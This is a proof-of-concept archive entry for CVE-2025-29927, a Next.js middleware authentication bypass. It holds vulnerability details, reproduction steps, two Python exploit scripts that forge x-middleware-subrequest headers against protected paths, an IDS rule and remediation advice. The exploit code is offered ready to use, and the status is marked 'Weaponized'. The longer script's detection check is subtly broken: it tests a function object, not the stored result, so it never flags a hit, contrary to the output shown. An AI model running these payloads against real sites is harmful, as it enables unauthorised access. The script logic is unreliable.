PoC Archive PoC Archive
Critical CVE-2025-29927 patched

Next.js Corrupt Middleware Auth Bypass (CVE-2025-29927)

by phoscoder · 2026-05-15

CVSS 9.1/10
Severity
Critical
CVE
CVE-2025-29927
Category
web
Affected product
Next.js (Vercel)
Affected versions
11.1.4 and later; fixed in 15.2.3, 14.2.25, 13.5.9, 12.3.5
Disclosed
2026-05-15
Patch status
patched

Metadata

FieldValue
Date Added2026-05-15
Author / Researcherphoscoder
CVE / AdvisoryCVE-2025-29927
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSSv3)
StatusWeaponized
Tagsauth-bypass, middleware-bypass, Next.js, unauthenticated, header-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js (Vercel)
Versions Affected11.1.4 and later; fixed in 15.2.3, 14.2.25, 13.5.9, 12.3.5
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-29927 is a critical authentication bypass in Next.js middleware. By sending a crafted x-middleware-subrequest HTTP header, an unauthenticated remote attacker can cause the Next.js middleware layer to skip execution entirely — bypassing authentication guards, redirect logic, and any other security controls implemented in middleware. This affects all Next.js applications that rely on middleware for access control and is exploitable against any publicly reachable Next.js server running a vulnerable version.


Vulnerability Details

Root Cause

Next.js middleware uses an internal header x-middleware-subrequest to track recursive sub-requests and prevent infinite middleware loops. When this header is present and its value matches the middleware module path (e.g. middleware or src/middleware), the framework short-circuits and skips middleware execution without running any of the handler code. Because the header is not stripped from incoming external requests before the middleware check, an attacker can trivially forge it. Prior to version 12.2, the relevant path was pages/_middleware; from 12.2 onward it is middleware or src/middleware. Recent versions also accept colon-separated repeated values (e.g. middleware:middleware:middleware:middleware:middleware) as a recursive depth guard, all of which are equally exploitable.

Attack Vector

An unauthenticated attacker sends a standard HTTP GET request to a protected path (e.g. /admin) on the target Next.js application, adding the header:

x-middleware-subrequest: middleware

Multiple payload variants must be tried to cover different Next.js versions and project layouts. No authentication, session, or prior knowledge of the application is required beyond the protected URL.

Impact

Complete bypass of all Next.js middleware-enforced access controls. An attacker can access any route that is protected only via middleware — including admin panels, authenticated APIs, and user dashboards — without valid credentials. Depending on the application, this may lead to sensitive data exposure, privilege escalation, account takeover, or full administrative access.


Environment / Lab Setup

OS:          Any (Linux, macOS, Windows)
Target:      Any publicly reachable Next.js application running version 11.1.4 – 15.2.2 /
             14.0.0 – 14.2.24 / 13.x < 13.5.9 / 12.x < 12.3.5
Attacker:    Any host with Python 3 and network access to the target
Tools:       Python 3, requests library

Setup Steps

1
2
3
4
5
6
7
git clone https://github.com/phoscoder/ghost-route.git
cd ghost-route

python -m venv .venv
source .venv/bin/activate   # Windows: .venv\Scripts\activate

pip install -r requirements.txt

Proof of Concept

Step-by-Step Reproduction

  1. Identify a Next.js target — confirm the site runs Next.js (check x-powered-by: Next.js response header or /_next/ static assets).

  2. Run the scanner against a protected path — the tool iterates through all known payload variants automatically.

    1
    
    python exploit.py https://target.example.com /admin
    
  3. Inspect results — if the response status code is 2xx and the final URL does not redirect to a login/register page, the site is likely vulnerable.

    1
    
    python exploit.py https://target.example.com /admin --verbose --show-headers
    
  4. Confirm bypass — a direct request without the header should redirect (302) to a login page; a request with the bypass header should return the protected page directly (200).

Exploit Code

See exploit.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests

TARGET = "https://target.example.com"
PATH   = "/admin"

payloads = [
    "pages/_middleware",               # Next.js < 12.2
    "middleware",                       # Next.js >= 12.2
    "src/middleware",
    "middleware:middleware:middleware:middleware:middleware",
    "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware",
]

for payload in payloads:
    r = requests.get(TARGET + PATH, headers={"x-middleware-subrequest": payload}, allow_redirects=True)
    print(f"[{r.status_code}] payload={payload!r}  url={r.url}")

Expected Output

🕵️ Checking https://target.example.com for Next.js Middleware Vulnerability (CVE-2025-29927)

🔍 Tested payload: middleware
Status Code: 200
Accessed URL: https://target.example.com/admin
✅ Status code 200 is a success code
❌ login Path not found in URL: https://target.example.com/admin
❌ register Path not found in URL: https://target.example.com/admin
🚨 POTENTIAL VULNERABILITY DETECTED with payload: middleware
The site might be vulnerable to middleware bypass!

Screenshots / Evidence

  • screenshots/ — add evidence of successful exploitation here

Detection & Indicators of Compromise

x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware
x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Next.js CVE-2025-29927 middleware bypass attempt";
  content:"x-middleware-subrequest"; http_header;
  sid:9000010; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.2.3, 14.2.25, 13.5.9, or 12.3.5 (whichever matches your major version)
WorkaroundStrip the x-middleware-subrequest header at your reverse proxy / CDN / WAF before it reaches the Next.js application
Config HardeningEnforce authentication at the application layer (API route or server-side) in addition to middleware; do not rely solely on middleware for access control

References


Notes

Auto-ingested from https://github.com/phoscoder/ghost-route on 2026-05-15.

Original research credited to Rachid A. (@zhero___) and Yasser Allam (@inzo____). The vulnerability is fully patched in the versions listed above; however, any application running an older version and relying exclusively on middleware for route protection remains at risk until upgraded.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on websites or systems you do not own or have
# explicit written permission to test. Unauthorized testing may be illegal.
import requests
import argparse


signin_paths = ['/signin', '/login', '/auth/login', '/auth/signin']
register_paths = ['/register', '/auth/register', '/auth/register']

verbose = False
show_headers = False

def print_message(message):
    if verbose:
        print(message)
    
    

def check_url_contains_path(url, paths, type):
    for path in paths:
        if path in url:
            print_message(f"✅ {type} Path {path} found in URL: {url}")
            return True
        
    print_message(f"❌ {type} Path not found in URL: {url}")    
    return False

def contains_success_codes(status_code):
    response = status_code != 302 and status_code <= 400
    
    if not response:
        print_message(f"❌ Status code {status_code} is not a success code")
    else:
        print_message(f"✅ Status code {status_code} is a success code")
    
    return response

def check_nextjs_middleware_vulnerability(url, path):
    """
    Check for Next.js middleware vulnerability (CVE-2025-29927)
    
    Args:
        url (str): Base URL of the Next.js application
        path (str): Protected path to test
    """
    # Configurations to test based on different Next.js versions
    payloads = [
        # For versions prior to 12.2
        'pages/_middleware',
        
        # For versions 12.2 and after
        'middleware',
        'src/middleware',
        
        # For recent versions (recursive payload)
        'middleware:middleware:middleware:middleware:middleware',
        'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'
    ]

    print(f"🕵️ Checking {url} for Next.js Middleware Vulnerability (CVE-2025-29927)")

    for payload in payloads:
        try:
            # Send request with custom middleware subrequest header
            headers = {
                'x-middleware-subrequest': payload
            }
            
            # Allow redirects and accept all status codes
            response = requests.get(
                url + path, 
                headers=headers, 
                allow_redirects=True
            )

            print(f"\n🔍 Tested payload: {payload}")
            print(f"Status Code: {response.status_code}")
            print(f"Accessed URL: {response.url}")
            
            # Check if accessing a protected path that should have been blocked
            
            contains_success = contains_success_codes(response.status_code)
            contains_login_paths = check_url_contains_path(response.url, signin_paths, "login")
            contains_register_paths = check_url_contains_path(response.url, register_paths, "register")
            
            if not contains_success_codes and not contains_login_paths and not contains_register_paths:
                print(f"🚨 POTENTIAL VULNERABILITY DETECTED with payload: {payload}")
                print('The site might be vulnerable to middleware bypass!')
            else:
                print("✅ No vulnerability detected with payload:", payload)       
                
            if show_headers:
                print("Response Headers:")
                for header, value in response.headers.items():
                    print(f"{header}: {value}")
        
        except requests.RequestException as e:
            print(f"Error testing payload {payload}: {e}")

def main():
    # Set up argument parser
    parser = argparse.ArgumentParser(
        description='Check Next.js site for middleware vulnerability (CVE-2025-29927)',
        epilog='IMPORTANT: Only use on sites you own or have explicit permission to test!'
    )
    
    parser.add_argument(
        'url', 
        help='Base URL of the Next.js site (e.g., https://example.com)'
    )
    
    parser.add_argument(
        'path', 
        nargs='?', 
        default='/admin', 
        help='Protected path to test (default: /admin)'
    )
    
    parser.add_argument(
        '-s', 
        '--show-headers',
        action='store_true',
        help='Show response headers (default: False)'
    )
    
    parser.add_argument(
        '-v', 
        '--verbose', 
        action='store_true', 
        help='Enable verbose output'
    )
    
    

    # Parse arguments
    args = parser.parse_args()
    
    if args.verbose:
        global verbose
        verbose = True
        
    if args.show_headers:
        global show_headers
        show_headers = True
    

    # Run vulnerability check
    check_nextjs_middleware_vulnerability(args.url, args.path)

if __name__ == "__main__":
    main()